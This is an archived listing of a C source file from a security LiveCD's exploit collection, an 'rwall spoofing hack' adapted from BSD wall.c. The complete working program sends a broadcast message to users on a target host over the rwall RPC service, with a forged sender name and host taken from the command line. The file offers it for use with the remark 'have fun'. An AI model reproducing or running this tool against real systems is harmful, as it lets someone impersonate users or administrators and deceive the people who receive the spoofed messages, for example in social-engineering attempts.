home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / fakerwalld.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  197 lines

  1. /* rwall spoofing hack... should compile on most sunos 4.1.x, bsd-like, and
  2.  *                        hpux OSes...  have fun.
  3.  *
  4.  * note: works only on hosts which have rwalld in /etc/inetd.conf 
  5.  */
  6.  
  7. /*
  8.  * Copyright (c) 1993 Christopher G. Demetriou
  9.  * Copyright (c) 1988, 1990 Regents of the University of California.
  10.  * All rights reserved.
  11.  *
  12.  * Redistribution and use in source and binary forms, with or without
  13.  * modification, are permitted provided that the following conditions
  14.  * are met:
  15.  * 1. Redistributions of source code must retain the above copyright
  16.  *    notice, this list of conditions and the following disclaimer.
  17.  * 2. Redistributions in binary form must reproduce the above copyright
  18.  *    notice, this list of conditions and the following disclaimer in the
  19.  *    documentation and/or other materials provided with the distribution.
  20.  * 3. All advertising materials mentioning features or use of this software
  21.  *    must display the following acknowledgement:
  22.  *    This product includes software developed by the University of
  23.  *    California, Berkeley and its contributors.
  24.  * 4. Neither the name of the University nor the names of its contributors
  25.  *    may be used to endorse or promote products derived from this software
  26.  *    without specific prior written permission.
  27.  *
  28.  * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
  29.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  30.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  31.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
  32.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  33.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  34.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  35.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  36.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  37.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  38.  * SUCH DAMAGE.
  39.  */
  40.  
  41. #ifndef lint
  42. char copyright[] =
  43.   "@(#) Copyright (c) 1988 Regents of the University of California.\n\
  44.   All rights reserved.\n";
  45. #endif /* not lint */
  46.  
  47. #ifndef lint
  48. /*static char sccsid[] = "from: @(#)wall.c    5.14 (Berkeley) 3/2/91";*/
  49. static char rcsid[] = "$Id: fakerwalld.c,v 1.1.1.1 2005/02/12 19:38:35 loni Exp $";
  50. #endif /* not lint */
  51.  
  52. /*
  53.  * This program is not related to David Wall, whose Stanford Ph.D. thesis
  54.  * is entitled "Mechanisms for Broadcast and Selective Broadcast".
  55.  */
  56.  
  57. #include <stdio.h>
  58. #include <stdlib.h>
  59. #include <string.h>
  60. #include <time.h>
  61. #include <sys/param.h>
  62. #include <sys/types.h>
  63. #include <sys/stat.h>
  64. #include <pwd.h>
  65. #include <unistd.h>
  66. #ifdef sony_news
  67. #include <sys/time.h>
  68. #endif
  69. #include <rpc/rpc.h>
  70. #include <rpcsvc/rwall.h>
  71. #if (defined ultrix) || (defined hpux)
  72. #define    mkstemp    mktemp
  73. #endif
  74. #define _PATH_TMP    "/usr/tmp"
  75. struct timeval timeout =
  76.     {
  77.       25, 0
  78.     };
  79. int mbufsize;
  80. char *mbuf;
  81.  
  82. void makemsg ();
  83.  
  84. int
  85. main(argc, argv)
  86. int argc;
  87. char **argv;
  88. {
  89.   char *wallhost, res;
  90.   CLIENT *cl;
  91.  
  92.   if ((argc < 4) || (argc > 5))
  93.     {
  94.       fprintf(stderr, "usage: %s hostname fakeuser fakehost [file]\n", argv[0]);
  95.       exit(1);
  96.     }
  97.  
  98.   wallhost = argv[1];
  99.  
  100.   makemsg(argv[4], argv[2], argv[3]);
  101.  
  102.   /*
  103.    * Create client "handle" used for calling MESSAGEPROG on the
  104.    * server designated on the command line. We tell the rpc package
  105.    * to use the "tcp" protocol when contacting the server.
  106.   */
  107.   cl = clnt_create(wallhost, WALLPROG, WALLVERS, "udp");
  108.   if (cl == NULL)
  109.     {
  110.       /*
  111.        * Couldn't establish connection with server.
  112.        * Print error message and die.
  113.  [2000]*/
  114.       clnt_pcreateerror(wallhost);
  115.       exit(1);
  116.     }
  117.  
  118.   if (clnt_call(cl, WALLPROC_WALL, xdr_wrapstring, &mbuf, xdr_void, &res, timeout) != RPC_SUCCESS)
  119.     {
  120.       /*
  121.        * An error occurred while calling the server. 
  122.        * Print error message and die.
  123.  [2000]*/
  124.       clnt_perror(cl, wallhost);
  125.       exit(1);
  126.     }
  127.  
  128.   exit(0);
  129. }
  130.  
  131. void
  132. makemsg(fname,uname,hname)
  133. char *fname, *uname, *hname;
  134. {
  135.   struct tm *lt;
  136.   struct passwd *pw;
  137.   struct stat sbuf;
  138.   time_t now;
  139.   FILE *fp;
  140.   int fd;
  141.   char *whom, *hostname, lbuf[100], tmpname[32];
  142.  
  143.   (void)strcpy(tmpname, _PATH_TMP);
  144.   (void)strcat(tmpname, "/wall.XXXXXX");
  145.   if (!(fd = mkstemp(tmpname)) || !(fp = fdopen(fd, "r+")))
  146.     {
  147.       (void)fprintf(stderr, "wall: can't open temporary file.\n");
  148.       exit(1);
  149.     }
  150.   (void)unlink(tmpname);
  151.   whom = uname;
  152.   hostname = hname;
  153.   (void)time(&now);
  154.   lt = localtime(&now);
  155.  
  156.   /*
  157.    * all this stuff is to blank out a square for the message;
  158.    * we wrap message lines at column 79, not 80, because some
  159.    * terminals wrap after 79, some do not, and we can't tell.
  160.    * Which means that we may leave a non-blank character
  161.    * in column 80, but that can't be helped.
  162.    */
  163.   (void)fprintf(fp, "Remote Broadcast Message from %s@%s\n",
  164.                 whom, hostname);
  165.   (void)fprintf(fp, "        (%s) at %d:%02d ...\n", ttyname(2),
  166.                 lt->tm_hour, lt->tm_min);
  167.  
  168.   putc('\n', fp);
  169.  
  170.   if (fname && !(freopen(fname, "r", stdin)))
  171.     {
  172.       (void)fprintf(stderr, "wall: can't read %s.\n", fname);
  173.       exit(1);
  174.     }
  175.   while (fgets(lbuf, sizeof(lbuf), stdin))
  176.     fputs(lbuf, fp);
  177.   rewind(fp);
  178.  
  179.   if (fstat(fd, &sbuf))
  180.     {
  181.       (void)fprintf(stderr, "wall: can't stat temporary file.\n");
  182.       exit(1);
  183.     }
  184.   mbufsize = sbuf.st_size;
  185.   if (!(mbuf = malloc((u_int)mbufsize)))
  186.     {
  187.       (void)fprintf(stderr, "wall: out of memory.\n");
  188.       exit(1);
  189.     }
  190.   if (fread(mbuf, sizeof(*mbuf), mbufsize, fp) != mbufsize)
  191.     {
  192.       (void)fprintf(stderr, "wall: can't read temporary file.\n");
  193.       exit(1);
  194.     }
  195.   (void)close(fd);
  196. }
  197. /*                    www.hack.co.za              [2000]*/